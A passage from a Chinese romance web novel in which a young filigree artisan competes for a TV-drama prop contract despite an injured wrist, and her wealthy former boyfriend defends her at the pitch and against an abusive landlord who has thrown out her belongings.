容微月垂眸,眼底漾开波痕,心头像是咬了片柠檬皮,涩得发苦。
所以他还有一点点在意她吗?
可这怎么可能。
重逢以来,傅蔺征态度那么冷漠,对她连一句话也不愿意多说,当年她又把话说得那么重,她怎配抱有任何的期待。
她没说话,失神看着窗外的风景。
车子下山后,殷绿打来电话,说今晚和她吃饭,那头例会还没结束,容微月和怀裕说了学校地址,决定过去找她。
殷绿所在的那片校区,就在高三的澜高附近,此时正值放学,高中们结伴而行,书摊文具店堆满了人,街道两边的小吃车散发着炸串卷饼的香味。
她买了瓶青橘气泡水,坐在榕树下的椅子上喝着,夕阳的光倾泻在她身上。
远处,车里的男人静静看着。
半晌他下车去买了个蛋糕,叫来老板儿子,用个糖葫芦贿赂他:“把这个蛋糕偷偷送给那个姐姐。”
小男孩鬼机灵地眨巴眼:“哥哥,你干嘛自己不去?你是不是做错事了?”
傅蔺征挑起唇角,喉间沙哑苦涩:
“嗯,哥哥惹她不开心了,你帮我哄哄她。”
远处,容微月坐着,很快一个小男孩走来:“姐姐,我爸爸说你以前经常来我们家买蛋糕,他认得你,这个送给你吃,希望你每天都开心,不要掉眼泪哦。”
容微月懵然看去,蛋糕店里的老板朝她笑笑。
她心间化开柔意,含笑揉揉小男孩的头:
“谢谢。”
小男孩跑开,容微月低头看到盒子里是她最爱的青橘乳酪蛋糕。
突然间,回忆翻涌而来。
她想起高三那年,有次晚上她和父亲吵架,跑出了花丝厂子独自去广场待着,给傅蔺征打电话,他担心说来找她,她突然问:“傅蔺征,你想和我在一起吗?”
那头愣了下,嗤笑:“你觉得呢?老子费尽追你这么久,是想和你做好朋友?”
她闷声道:“我突然想吃学校门口那家青橘乳酪蛋糕了,你要是买给我,我就答应你。”
傅蔺征愣住:“没骗我,这么简单?”
“没骗你。”
那头瞬间挂了电话,那是深冬的晚上十点多,她等了许久,就在她以为他不会来的时候,远处的暖黄色路灯下,一道身影朝她奔来。
傅蔺征只一身单薄的灰卫衣和牛仔裤,明明是水结成冰的季节,他额头却挂着大粒汗珠,冻到通红的手视若珍宝地捧着个蛋糕盒。
他像是冲破一切阻碍,喘气着垂眼看她,勾起的唇角消融冰雪:“蛋糕,我买到了啊。”
大少爷衣服和裤子上狼狈地沾着泥,又湿又脏,是因为怕她走了,一路着急忙慌赶来,就不小心摔了一跤。
拉开袖子一看,他手肘一大片红紫,容微月眼泪砸到他手上,“傅蔺征你是笨蛋吗……”
她说她明明就是故意刁难他,傅蔺征笑着用不脏的那只手臂搂住她:“我知道啊,但好不容易等到你松口,我不得抓住这次机会?省得你又赖账。”
容微月和他哽咽讲起从前:“傅蔺征,我小时候可笨了,一个简单的花丝别人学一天就会了,我要学两天,我爸就把我留在工厂里一个人练习,每天晚上我姐姐都会买个青橘蛋糕来哄我,带我回家。”
她眼泪落下:“可是,我姐姐不在了,再也没有人会给我买蛋糕哄我了……”
傅蔺征闻言,心疼抱紧她,柔声道:“不管别人怎么样,以后只要你不开心时我都会在,让我陪着月月,好么?”
那天晚上,傅蔺征的怀抱驱散了她所有的寒冷。
她才知道,在这世界上会有一个人可以顶过风雪,哪怕千难万阻,头破血流,都会来到她的面前。
容微月低着头,咬了口蛋糕送入嘴中,熟悉的青橘清香伴随着奶油甜味弥漫口腔。
微风轻轻拂面。
如今早已物是人非。
她仰头看向天边的鱼鳞云,眨了眨酸涩的眸。
-
晚上殷绿走出学校来找容微月,俩人吃了顿饭。
饭后容微月回到家打包行李,第二天先把部分家具搬到了办公室。
她想着所有的行李要等违约金发来再搬走,现在她对房东毫无信任,学姐又出差经常失联,她必须捍卫自己的权益,大不了就打官司。
中午容微月在车间赶工,有人来找她,竟然是傅蔺征的生活助理送来了营养餐。
“这是傅总交代的,他说您生病和他有关系,必须负责您接下来的一日三餐。”
容微月婉拒,助理道:“容小姐,傅总说您不吃,直接倒掉就好了。”
“……”
她只好收下,打开餐盒一看,是丰盛的四菜一汤,像是私房小灶烹饪,色香味俱全。
浪费粮食可耻,她还是吃了。
往后每天都有人固定送饭,她三餐倒被迫规律起来。
周三时,一千件联名饰品终于赶完,可她右手的腱鞘炎也复发了。
这是老毛病了,每次发作的时候她手疼得用不了力,舒槿说陪她去看看,她不想浪费时间,说贴膏药就好。
下午她收到消息,晴月阁、翠安和另外一个品牌进入《霜雪吟》道具制作的最终选拔,明天是最后的提案会,他们一起来现场竞选。
第二天,舒槿陪同容微月去到明恒集团,容微月和领导们问好,而后看到了身为美术指导的向安悦。
向安悦看到她,眼神淡了几分,提唇走来:“微月,恭喜啊,进入决赛圈了,听说领导们挺满意你们这个小工作室的方案呢。”
容微月没理会她的阴阳怪气,面色不变:“谢谢。”
向安悦挑眉:“今天好好表现吧,我会帮你美言的。”
她离开,很快一个大腹便便的中年男人走来,眼瞧着四十来岁,微秃的额头抹着一层亮得发油的发胶,浅灰旧西装被肚腩绷得鼓鼓的,点头哈腰给制片人递烟。
这是剧组分管道具的副导演,名叫杜海滨。
到面前时,容微月礼貌打招呼,杜海滨抬头轻飘飘看她:“容微月,你就是晴月阁的老板吧?”
“嗯。”
容微月把名片递去,杜海滨扣过牙缝里菜叶
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子的手接过:“你们这工作室规模挺小,想揽的活还挺大,能做得来吗?”
“今天您看了方案就知道了,希望能得到杜导的认可。”
杜海滨懒嗤了声,把名片踹到口袋里往前走,到拐角处,一个男人在等他,笑着给他递来包烟:“杜导,今天辛苦您帮帮忙,我们翠安还得您提携。”
杜海滨是道具公司未来的直系领导,虽没决定权,但在这场提案会中的意见很重要,杜海滨接过,压低声音道:“行了,会帮你的,成了该给我的抽成得给我。”
“那肯定的,就是我听说那个晴月阁挺有实力,总导演很满意她,这事儿会有变数吗?”
杜海滨往外看去,注意到容微月贴着膏药的手腕,眼神微深,一笑:“有实力,也得有发挥空间啊。”
过了会儿,提案会正式开始,多媒体会议室中央,十几个剧组人员坐着,正中间是制片人和总导演。
容微月看到傅蔺征不在,估计还在外地比赛。
三方依次上台阐述,再由领导提问,翠安第二个演讲时,杜海滨提的问题都很简单,甚至还开起玩笑,氛围轻松愉快。
到最后一个,容微月走上台,“各位好,我是晴月阁花丝镶嵌工作室的创始人,容微月。”
她鞠了一躬,底下的人看到她如此年轻,不禁惊讶,身后的屏幕亮起,她一身淡青色的古典旗袍,清柔嫣然,讲解流畅,原本不报期待的许多工作人员都抬起头看她。
“这个小姑娘优秀啊。”
“这方案比第一个好……”
台下,杜海滨听着,眼底微冷。
讲完后,其他人提问,容微月都完美回答,突然杜海滨慵懒开口:“晴月阁,一个成立不到两年、规模不到二十人的小型工作室,竟然提出纯手工制作,难不成让我们剧组投了几百万,去等待一个毫无保障的结果吗?”
周围有人认可,一旁的向安悦道:“是啊,杜导问得好,现在经济这么不景气,我们拍戏都在压缩成本,容小姐,凭什么我们要增加价格,去冒更大的风险?”
容微月沉吟几秒,温声开口:“我学花丝镶嵌,其实受的是我祖母的影响,她是一个花丝镶嵌的老匠人,从业六十年,小时候我看到她天天在家里那间小房子里掐花丝,我总觉得这是世界上最枯燥无聊的事。”
容微月娓娓道来曾经看到祖母做工的经历,她说一开始不认可,直到看到祖母掐出一个金丝嵌玉海棠花瓶,那是她见过最美的花瓶:“那一刻我开始理解了我祖母,手工看似代表着落后和过时,但花丝镶嵌这项技艺能从夏朝延续至今,代表的是华夏民族的智慧勤劳,和我们的文化自信。”
“手工的作品更有温度,在镜头下也会更显精致,如果要打造一部史诗级巨作,每个细节都会展现剧组对观众的诚意,提高了点成本,却是为了呈现更好的画面,不是我坚持手工,而是一个好的手工艺饰品,才配得上我们这部剧不是吗?”
她弯眉说着,心思正戳总导演,他不禁点头率先鼓掌,会议厅里掌声很快响起。
向安悦脸色微僵,杜海滨暗暗和翠安的老板对视了眼,面容沉沉。
三组陈述完毕,领导们讨论,杜海滨心生一计,提了个想法,得到认可后笑着对大家道:
“今天三组表现都不错,这样吧,我们想临时增加个环节——现场设计制作一个女主的耳坠,直接看看机器和手工制作出来的区别,如何?”
容微月微愣。
翠安表示认同,说工具都带来了,第一个公司也是机器制作,三方公司的手艺师傅被请上台,舒槿担忧:“微月姐,你的手能操作吗?”
容微月微微拧眉,没想到还有这环节,“我试试吧……”
把工具带上台,容微月画完稿图开始拉丝,就是把一根根银条用力穿过拉丝板的小孔,抽成细长的花丝。
右手传来钻心的痛,她拿不稳镊子,舒槿忍不住表明情况,说能不能回去线上直播,杜海滨说荒唐:“这是比赛,考验的就是临场发挥的能力,你们晴月阁回去直播对其他人公平吗?”
另外一个副导演看容微月实在难受,说不如通融一下,杜海滨道:“通融也行,但是肯定要扣分了。”
容微月额头冒汗,轻声开口:“没事,我没问题的,我可以继续比赛。”
最后关键时刻了,她不能放弃。
她继续做着,旁边的翠安用机器制作得有条不紊,杜海滨拿起一看:“这个流苏可真漂亮啊!各位导演,你们看看现在机器的水平很厉害的,不输人工。”
有人又和容微月做的对比,“是啊翠安做的还挺好看……”
杜海滨和导演笑:“我看他们晴月阁吹得天花乱坠,做出来也就这样,咱们没必要浪费钱。”
各样的议论声和贬低声传来,容微月心头绷紧,垂着头逼着自己不受影响。
她手抖着拉完花丝,开始掐丝,腕口传来刺骨的疼痛,她额头冒出大粒汗珠,强压手指的微抖。
向安悦淡笑看着,杜海滨看过来:“容小姐,你行不行啊?不行还是别逞强啊,身体要紧。”
他话音刚落,下一刻,会议厅的门被推开——
一阵骤冷的风卷着外头的日光涌入。
沉稳有力的脚步声传来。
众人循声望去,一个身影骤然映入眼帘。
男人一身纯黑色冲锋衣衬得宽肩线条凌厉,周正挺拔,长腿线条笔直,日光从他身后漫进来,他眉眼深刻锐利,掀起眼皮看来,右眼眼皮上的那颗黑痣若隐若现。
大家震惊——
傅蔺征来了?!
男人走进来,强大的上位者气场震慑全场。
议论声被人骤然掐断,空气凝成一片。
没想到大Boss突然来了这个小提案会,几个领导迎上去:“傅总,您怎么来了?您不是说去外地参加比赛吗?”
“比赛结束,改了航班提前回来的。”
大家恭迎着他走到前排,给他介绍今天的流程,傅蔺征目光落向台上的某处,“这在干什么。”
“今天有个临时加赛,让三方现场制作一个饰品看看看效果。”
傅蔺征看上去,容微月坐在最边上,低垂着眸正拿着焊枪,整张脸发白冒汗,右手红肿。
他眉峰微拧:“她手怎么了。”
有人道:“说是有点腱鞘炎……”
傅蔺征沉眼,瞬间火了:“腱鞘炎你们让她操作焊枪?”
杜海滨干笑:“没事傅总不要紧的,她说能坚持。”
一旁的舒槿着急地要哭了,忍不住插话:“什么不要紧,我们老板腱鞘炎很严重,能不能先暂停啊,万一她手留下后遗症或者被烫伤怎么办……”
傅蔺征黑眸凛沉,快步走上台,一把拿走容微月正要打开的焊枪,容微月还在全神贯注做工,看到他懵然:“你怎么……”
全场惊愕看来。
傅蔺征看到她手腕皮下都淤血了,眼底沉下,扫视全场,脸色沉如山雨欲来,嗓音极冷:
“谁提出来的加赛?”
10.第十章
chapter 10
傅蔺征沉冷的质问声重重落地,比赛突然暂停,全场吓得鸦雀无声。
他拿起旁边的规则文件,扫视台下,带着与生俱来的压迫感,安静中,杜海滨发颤的男声响起:“傅总,是我提议的……我想着现场更加直观地看看三家工作室的制作水平……”
“她手肿成这样你没看见?让一个腱鞘炎的人操作高温焊枪,出了事谁负责?流程审批了吗?安全责任书签了么?”
傅蔺征怒火腾起,浓黑断眉下眼神极锐。
杜海滨就是因为看到容微月的手受伤了,所以才提出来临时加赛给翠安表现机会,谁知道大老板突然出现还发了火,他额头冒汗,弱声解释:“是容小姐要坚持比赛的,我看她也能撑得住……”
身旁的向安悦也忍不住劝:“傅总,您误会了,杜导其实一开始也同意晴月阁推迟制作的……”
傅蔺征转眼看向容微月,容微月淡声道:“他们说了,推迟可以,但要扣分,拿这个威胁我,我也没办法,只能参加比赛了。”
杜海滨:“……”
杜海滨脸色难看,向安悦拧眉道:“这怎么就叫做威胁了,这本来就是公平……”
向安悦话音未落,面前地上就摔来一份文件。
“砰——”
她吓得叫出声,身子一抖,傅蔺征黑眸阴鸷:“你算什么东西,再说一句试试?”
周围目光投来,向安悦感觉铺天盖地的羞辱感浇下,脸色惨白难堪。
傅蔺征冷声问:“你们就是这样办提案会的是吧?”
杜海滨心惊肉跳,赶忙道歉:“傅总对不起是我考虑不周了,容小姐我给您赔不是了……”
他鞠躬得肚子上肥肉挤成一团,就差跪下来,导演和纸片人连忙走上台,也道歉:“傅总,是我们没有考虑到位,安排欠妥当了,那容小姐的作品到时候转为线下,比赛先暂停,我们立刻送您去医院看看……”
导演话音未落,容微月道:
“不用暂停,我能完成。”
傅蔺征拧眉看他:“你手不要了?”
“我没事,”容微月对上杜海滨和向安悦的视线,提唇,“既然追求公平,那我还是当场做完,不辜负他们的期待,省得又有人在背后用其他说辞来给晴月阁使绊子,对吧?”
向安悦瞪着她,气得指甲掐进掌心,容微月看向傅蔺征,淡然道:“我真的可以的。”
傅蔺征看向她,黑眸炽热翻滚。
他真的很想中断比赛带她走,为她摆平一切难题,他无条件站她,哪怕合作不成,他会为她找到更好的影视剧,更好的资源,他所有的人脉都可以为她铺路。
但她是容微月,她有她的骄傲、她的倔强和坚持,高中时她就不会轻易为任何人任何事服软低头,就连他也拗不过。
看着她坚定而澄澈的眸子,傅蔺征心脏强烈跳动,末了哑声开口:“不舒服别硬撑,随时暂停。”
最后容微月继续焊接,碎发垂下,遮住她半边柔和的侧脸,她动作利落,呼吸平稳,手上的伤口透着红,动作却没有丝毫迟疑。
指尖在银丝间穿行,她如同在编织一片光,周围的视线仿佛都隔在一层无形的屏障之外,她只沉浸在每一次掐丝和贴合的精准里。
抛光、打磨,一步步淬炼出金属最美的样子。
她温柔又坚定,凝结着千万个大国工匠的缩影。
许多人看着,被她的实力和坚持打动,不由得欣赏,而一旁翠安的机器出了问题,制作中断,急得焦头烂额。
最后,容微月做完,把饰品拿起来。
“这耳坠我取名为‘霜雪留银’,主体是脱胎镂空的工艺,用0.2毫米的细丝掐出八瓣芙蓉,下面垂着三链流苏,顶端我用唐代流行的嵌玉技艺,嵌入羊脂白玉,整体与女主温柔淡然的性格十分匹配。
我相信,手工的美是无法代替的,一定会有很多人喜欢。”
耳坠盈盈泛光,璀璨夺目,容微月鞠躬:“谢谢大家,这是晴月阁递交的作品。”
安静一秒,全场掌声爆发开来,就连第一家饰品公司也被她的坚持打动,为她鼓掌。
杜海滨和向安悦看着,感觉之前所有的谋划如一个巴掌重重扇回脸上,无地自容。
容微月走下台,舒槿激动:“姐你真的太棒了!做得真好看!”
舒槿去看她的手,“你手怎么样……”
容微月此刻才感觉到疼,“我回去敷一下膏药。”
领导们过来关心她,她温声回应,随后傅蔺征走来,冷沉声落下:“跟我出来。”
容微月愣了愣只好出去,他拉着她走下楼,她疑惑想抽回手:“我们去哪儿……”
“你手都这样了不要处理?”
“没事我自己回去处理就好了……”
他滚了滚喉结,“这是在明恒举办的提案会,临时加赛没通过审批,如果你出了事,我们剧组要负责任。”
他语调不带情绪。
或许任何人他都会帮忙吧。
到楼下,她被迫上车,傅蔺征从手套箱里拿出个压缩冰袋,啪地捏爆,用毛巾裹住,轻按在她红肿的手腕:”先冷敷下。”
她道谢,他冷嗤:“留得青山在不愁没柴烧,手不比这次合作重要?万一要落下什么病根,你工作室以后不要了?”
她无话可说,今天她确实赌了一把,傅蔺征给她拿布洛芬和水,神色冷淡:“吃了,带你去医院。”
傅蔺征踩下油门,启动车子,容微月给舒槿发了个信息,让她先回去,那头好奇问她和傅蔺征的关系,容微月突然也不知道怎么解释,说等回去再告诉她。
外头天色沉沉,没多久后下起了雨,雨刷快速摆动,布加迪平稳穿行在雨幕中。
手上痛感随着冰敷缓解了点,过了会儿容微月手机进来房东赵鑫的电话,她接通后按下录音,赵鑫不客气地问:“今天收房了,你收拾好了没有?我现在过去收钥匙。”
“我现在不在家,而且你违约金还没给我,我说了把违约金给我我才搬走,你要不给我们就打官司,我已经联系好律师了。”
“小姑娘你什么毛病啊?非要赖我家?!我违约金都说了以后给你!”
“你微信把我拉黑了,我以后怎么找到你?或者你给我打个欠条,一个月之内给我。”
赵鑫暴怒骂了句脏话:“你别得寸进尺!不搬是吧,后果自负!”
那头挂了电话,傅蔺征看她:“房东找你麻烦?”
容微月抿唇,不想多说什么:“没事。”
她联系了何薇学姐,对方明天出差回来,到时候三方再谈一次。
傅蔺征目视前方,也没再多说。
过了会儿,布加迪停到一个中医馆门口,走进诊室,傅蔺征叫了声“章叔”,一个头发花白的老中医看到他诧异:“怎么了,是身体不舒服了?”
“不是我,是她,右手过度劳累腱鞘炎发作,您赶紧给看看。”
老中医调侃:“我懂了,女朋友啊。”
容微月连忙否认,却见傅蔺征也没说话,估计是离谱到懒得否认,老中医让她坐下来:“小姑娘,你这手都这么严重了怎么才来啊?阿征你怎么回事,这太不上心了。”
她还没说话,傅蔺征哑声应:“怪我有事耽误了,麻烦您一定给她治好。”
容微月微怔,老中医看他眉头紧锁的样子,笑了笑,“行,现在知道心疼着急了,我开点草药,先给她热敷。”
容微月面颊微热,解释不通也不解释了。
傅蔺征去算钱,走到外头,怀裕打来电话,说提案会已经结束,晴月阁分数最高,按照他的交代,杜海滨和向安悦因为工作失误给予扣薪等严重惩罚,如果还有下一次直接撤职,同时相关方面的事情一定会把控得更严格。
万幸的是小姑娘的手没有太大问题,否则他不知道自己要做出什么事来,傅蔺征看向外头的大雨,语气不容置喙:“告诉全剧组,在我手下不允许任何拉帮结派的小动作,还有下次,明恒所有的项目都别想碰了。”
“好的征哥。”
傅蔺征回到诊室,容微月在热敷着,医生见她体内湿寒严重,又给她开了口服的中药,内外一起调理。
半小时后,热敷完回到车上,容微月道:“今天谢谢。”
男人淡淡道:“赶紧把手给我养好,别耽误开机流程,制作道具的周期只有一个月。”
她惊讶:“晴月阁入选了?”
“你分数最高,现场评委的反应你也看到了。”
容微月眉眼如月牙弯起。
真能如此,这是她最近最开心的事了。
终于看到她笑了,傅蔺征目光不禁在她脸上停留几秒,强制移开:“我送你回家。”
下着大雨,她手不方便也只能麻烦他,道谢。
傅蔺征问了在小区哪栋楼,直接开到家楼下。
他说送她上楼,容微月拒绝:“雨挺大的,你也早点回去吧,谢谢。”
道别后,容微月走上楼,轻哼着歌,打算犒劳自己一顿,点个喜欢吃的外卖,谁知走到了六楼,看到眼前的场景,呆住——
她的公寓门被撬开半敞开,门口东倒西歪堆积她的几箱行李,大雨泼得整个楼道都是湿漉漉的,她的纸箱底部被泡烂,里头许多工具书和她高中时抓过的娃娃掉出来,又脏又乱,像个垃圾堆。
心脏重重一跳,大脑空白。
对门打开,邻居隔着铁门看她,唏嘘道:“刚刚房东来带人撬了锁,把你东西扔出来了,小姑娘你怎么回事啊,房东说你赖在这里不走坑他钱,你年纪轻轻不能干这种事啊。”
容微月压着怒火,鼻尖微酸:“是他不给我违约金的,不是我……”
“唉,那你还是赶快搬走吧,钱拉倒了,安全最重要。”
容微月看到鞋柜旁躺着个琴盒,慌得跑过去拿起来,手抹掉上头的脏水,拉开拉链检查着,外头的雨水泼进到她身上,冷得她眼睫颤抖。
她红着眼摩挲着琴上的那串英文。
还好,她的琴没有湿……
邻居见此,无奈叹气,关了门。
容微月忍下情绪,拿出手机把周围先拍下,走进公寓,里头乱糟糟的,电闸直接被拉了,她的部分行李还在里面,但门已经坏了,关不上了……
她没想到赵鑫会如此恶心,忍下怒火,先把几个脏兮兮的娃娃捡起来,放去干净的地方,忍着手腕的疼把纸箱抱起,底部湿漉漉的,东西掉了出来,身体乳和沐浴露等东西咕隆隆滚下楼梯,她赶紧把箱子放好,又跑下去捡。
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>室外骤然响起一阵雷电的轰鸣,配合着头顶暗下来的声控灯,猝不及防在耳边炸裂,心脏骤然被捏紧。
她脸色惨白几分,俯身捞起这些瓶子,突然手机响起,是一串陌生号码。
她几秒后,缓过神接起,那头傅蔺征懒洋洋的嗓音传来:“容微月,你能不能别这么迷糊,中药落在我车里了。”
她吸了吸鼻子,“抱歉,我忘记了。”
“我到家楼下了,给你送上去。”
“不用!”
她不想让他看到这幕,飞快拒绝说下楼拿就可以了,他轻嗤:“等你下来磨磨蹭蹭的,你当我时间很多?”
“不用麻烦,我马上就下楼……”
傅蔺征捕捉到她带着鼻音的哭腔,声音一顿,感觉不对劲:“怎么了?出什么事了。”
“没有……”
“我先上去。”
她刚想拒绝,傅蔺征已经挂了电话,她还没反应过来,六楼的高度,他三步并作两步就上来了。
昏暗的楼道里,原本暗下的声控灯被他的脚步声再度点亮,傅蔺征看到她站在门口一地凌乱中,身上脏兮兮的,旗袍外单薄的外套被打湿,雨水沿着她额前的几缕碎发低落,唇色苍白,抬头看到他,湿漉漉的琥珀眸子透着红晕。
像只流浪的小猫咪。
容微月第一时间是想躲。
这样的狼狈难堪,不想被他看到。
傅蔺征扫视一周,眼底翻涌起压抑不住的冷意,眉骨紧绷,冷声开口:“谁弄的。”
“房东扔出来的……”
她只能说明情况,傅蔺征拧眉走过去夺走她手里的纸箱,外头的雨溅湿他侧脸,他冷笑一声:
“容微月,你真厉害。”
“这就是你说的没事?都被人赶出来了,刚刚还瞒着不让我上来?”
手都白热敷了,疼着还搬这么重的东西,是不是不管出了多严重的事,她都不会和他吭一声?
问她知不知道房东的地址,她摇头,傅蔺征拿出手机,打电话给怀裕:“现在去查,松柏里小区3号楼6层一单元601的户主,工作单位和住处全都给我。”
挂了电话,他对容微月道:“站旁边去。”
小猫咪被拎到旁边,男人撸起袖子,不让她插手,帮她抢救起行李,看到角落的熟悉的小提琴盒,她注意到他目光,立刻拿起来。
他黑眸涟漪几分,“放到门里面。”
她应下,室外雷声阵阵,她看到傅蔺征手直接抱过湿漉漉的纸箱,身上都脏了,那么尊贵的大少爷一点不嫌脏。
这时容微月手机震动两下,竟然是赵鑫把她微信放出来后,给她发了两段语音:
【门口都看到了吧?我跟你说了不搬这就是后果,还有我去检查了家里,地板和沙发还有餐桌都有磨损,给你打个折,你赔我三千,就当抵掉违约金了,房租和押金我之前就给你了,我们两清。】
赵鑫格外嚣张,骂道:【别给脸不要脸,明天我过去检查,你把钥匙放门口鞋柜里,你再不走我直接报警了,年纪轻轻到时候进了局子影响前途!】
容微月气得打过去,但微信和手机号码都被他拉黑了,就是不想和她联系。
傅蔺征听着语音,脸色极黑,这时怀裕打来电话,已经把对方的身份工作地址都查出来了,就在附近一个小区物业里当个经理。
傅蔺征安排人过来搬家,他把外套递给容微月,道:“你什么都别管,在这儿待着。”
“你要过去找我房东吗?”
傅蔺征冷笑一声:“这种人不得见面好好聊聊?”
他下楼,她追上来:“我和你一起去。”
……
外头大雨滂沱。
某个物业的值班室里,三个男人正在打牌嗑瓜子,牌友挑眉看向赵鑫:“租你家的那个女的现在解决了吧?她没再找你要钱了?”
身为副主管的赵鑫吐了口烟,“解决了啊,一分钱没给直接赶出去了,妈的胆子挺大还敢告我,敬酒不吃吃罚酒。”
“赵哥,我看你压根就没想给人家违约金吧哈哈,不过她一个人也没什么能耐,屁溜溜就得滚蛋。”
“欸,我看了那女的照片,是漂亮,可惜了没把她搞到手。”
赵鑫翘着腿,往桌面甩了一张2,“一开始我是想追她来着,谁知道她对我爱搭不理,还说有男朋友了,我还和她客气什么。”
“赵哥没事,你又不缺女人,就让她流落街头吧哈哈哈哈哈。”
赵鑫笑:“反正明天我过去没看到她搬走,我直接报警抓她,看她还敢嚣张。”
说笑间,值班室门被砰得一下踹开。
三人吓得转头,看到一个男人携着室外冷冽的水汽走进来,长腿疏漫踩地,逼近一米九的身子笼下极大的压迫感,眉眼冷厉。
“说说看,让谁流落街头?”
赵鑫看到他,惊愕皱眉:“你谁啊?”
“赵鑫是吧?”
“不是,你有事吗……”
傅蔺征步伐未停,走过去,一脚狠戾踹翻赵鑫的椅子,扑克牌洒落一地。
赵鑫摔倒在地,傅蔺征把人拎起来,就是一拳过去,垂眼看他,周身寒意逼人,狂妄得不可一世:
“老子这么猖狂,你要不要报警先抓我?”
11.第十一章
chapter 11
容微月慢了一步,冲进值班室时听到里头传来哀嚎声,她本来担心傅蔺征有危险,谁知是三个打牌的男人都倒在了地上。
刚刚赵鑫被打后,不知道哪来的人这么嚣张,抡起拳头就想揍过去,却直接被反手按在地上,旁边两个男人想冲上来帮忙,可没人是傅蔺征的对手。
容微月是见识过傅蔺征打架有多狠的,赶忙把他拦了下来,赵鑫鼻孔流血,傅蔺征长腿坐到沙发上,把地上的他像条鱼一样拎起,黑眸阴沉:
“喜欢扔别人行李是吧,现在感觉如何?”
赵鑫脑袋晕眩,直至看到旁边的容微月,突然明白缘由,破口大骂:“好啊,你就是这女的男朋友吧?妈的有人撑腰就是了不起啊!是她赖在我家不走!”
容微月沉声道:“赵鑫你搞清楚,没结违约金还扔我的房租的是你,刚刚你们在这里面说的话我都录下来了,你压根就没打算赔是吧?”
赵鑫脸色一慌,恶狠狠地瞪着俩人,还在嘴硬:“我说什么了?是你弄坏我家具,你以为我怕你们啊?我要报警!一个赖在我家一个寻衅滋事!你们等着去坐牢吧!”
他话落,突然门口传来严厉的呵斥声:
“赵鑫你疯了,还敢闹!!”
赵鑫懵逼,转头就看到领导严江冲了进来,后者看到傅蔺征,忙朝他赔笑:“傅总我来迟了,我是林江物业分管这个片区的经理,我姓严,给您添麻烦了,您说您一个电话就行了,还要亲自来一趟……”
明恒是该物业投资方之一,傅蔺征的名字对于他们这些底层高不可攀,平时连见都见不到,他刚刚接到上层领导打来的电话人都傻了,不知道自己手下有人竟然惹了这么大的事,飞快赶来。
他抬手给赵鑫脑袋就是一巴掌,压低声音:“你知道这个人是谁吗还报警!你不想要饭碗了是吧!”
严江说了傅蔺征的身份,赵鑫顿时如五雷轰顶,脸色突变,严江痛斥他:“你做的事我都知道了,坑了别人的违约金,还把人家行李扔出来,你这是违法,人家没先报警抓你就不错了!!”
赵鑫没想到容微月靠山这么大,胆战心惊,脑中空白瞬间认怂:“那个是误会,我怎么可能打算扣你的钱,小姑娘都是误会……”
“赶紧给人家赔偿!!”严江道。
赵鑫连忙点头,这时傅蔺征叫的律师也来了,容微月讲述事情原委,并提供了这段时间所有的聊天记录和今天房子的照片,律师说她证据充分,就算要打官司,大概率也能胜诉,至于家具磨损,是在正常使用范围之内,并不需要赔款。
赵鑫生怕连工作也没了,心慌道歉,律师问容微月想法,她看向赵鑫哀求的目光,考虑到学姐的关系,不想把事情做绝,淡声道:“我可以不告,但是该给我的赔偿得给我。”
赵鑫说立刻给,傅蔺征冷声道:“还有之前维修马桶和厨房漏水的费用,全部把账对过去,包括今天给我的人造成的经济损失,一分都不能少。”
向来阔绰的大少爷,难得有锱铢必较的时候。
赵鑫肉疼应下,心里一万个后悔,早知道当初给了违约金就拉倒了……
操作完,傅蔺征问容微月:“都到账了?”
“嗯。”
严江赔笑:“傅总,容小姐,这都是赵鑫的问题,我们会好好处理,还有什么问题随时联系我。”
事情解决,严江几人送他们离开,最后赵鑫降职受到处分,工作勉强保住但再无晋升空间,这是后话。
回到车上,容微月还恍惚得像做梦。
没想到困扰她这么久的房子问题就这样解决了。
傅蔺征上车,她琥珀眸子看向他,想到他今天所作所为,心跳微乱,咕哝:“傅蔺征,谢谢你……今天帮了我这么大的忙。”
无论是在提案会上发火,还是冲过来帮她揍人,傅蔺征好像还和高中一样,每当她遇到事情,都会挡在她面前。
男人启动车子,淡淡道:“举手之劳而已。”
容微月还心有余悸:“没想到他一点底线都没有,我本来都做好和他打官司的准备了。”
“这种傻逼就欺软怕硬,看你女孩子好欺负,打一次就老实了。”
把小姑娘行李霍霍成那样,还让她哭了,他没把人揍趴下已经算是克制了。
容微月看他:“那你没受伤吧?”
“他们几个是我对手?”
她软声道:“总之谢谢你。”
傅蔺征撕了颗薄荷糖扔进嘴里,脑中浮现在门口听到赵鑫说的话,漫不经心:“不过你男朋友怎么不来帮你啊,你出事儿他人呢?不会怂了吧。”
这话莫名其妙的,“什么……男朋友?”
他没说话,她反应过来赵鑫对同事们说她有男朋友,解释道:“我当初怕赵鑫纠缠我,所以骗他说我有男朋友的,我没有。”
傅蔺征嚼着糖慵懒偏开眼,“哦,那还真不幸呢。”
“……”
车子回到小区,傅蔺征叫来的人已经把容微月的行李都整理好了,庆幸没有造成什么重大损失,所有行李被搬下楼,两人走在最后,傅蔺征道:
“我给你找个地方,没找到新住处之前先住那边,你别多想,毕竟你手养好了后面才不耽误合作流程。”
“不用,我联系我闺蜜了,我先搬到她那边过渡几天。”她回来时已经和殷绿联系了。
他默了默,也没说什么,“那找到新房子了么。”
“还没,我抓紧在看了。”
“哦。”
傅蔺征摩挲着潮汐戒指,语调慵懒:“找房子呢一定要慎重,要住得舒服,价格合适,通勤也方便,关键还得找个好房东,如果再遇到这种今天这种人,那后果可不好说了。”
他掀起眼皮看她:“你说是吧?”
后方的容微月对上他目光,回过神点头:“嗯……”
她再度想到了之前在朋友圈看到的傅蔺征的房子。
那是她最中意的一套。
在那个面前,好像其他的都没有吸引力了。
男人手插兜,长腿迈下楼梯,容微月脑中一热:“傅蔺征……”
“怎么了。”
那个……我可不可以租你的房子。
话到嘴边翻滚了下,可还是被理智压下,她摇摇头:“没事。”
他回头,仿佛轻嗤了声,也没追问。
-
晚上,容微月到了殷绿的公寓。
殷绿家里小有钱,考入这个学校后,父母帮她在学校附近租了套一居室,平时殷绿周内住这儿,周末回家投奔爸妈怀抱。
吃完饭,容微月接到了学姐何薇的电话,何薇听说了傍晚的事:“微月,这件事怪我在中间没有协商好,我本来说回来和你谈的嘛,你那么着急干什么。”
“学姐,是你表哥先把我行李扔出家门还扣了我的钱,而且你出差我也联系不到你,我今天给你打了三个电话了。”
“……”何薇干笑,“都是我哥不对,你别生气,我改天过去给你赔不是,对了我哥说你认识明恒的太子爷?他今天可护着你了,之前都没听你提过,你们什么关系啊?!”
“我们是高中同学。”
“那你们现在是?”
那头八卦,容微月不想说太多,找理由就挂了电话。
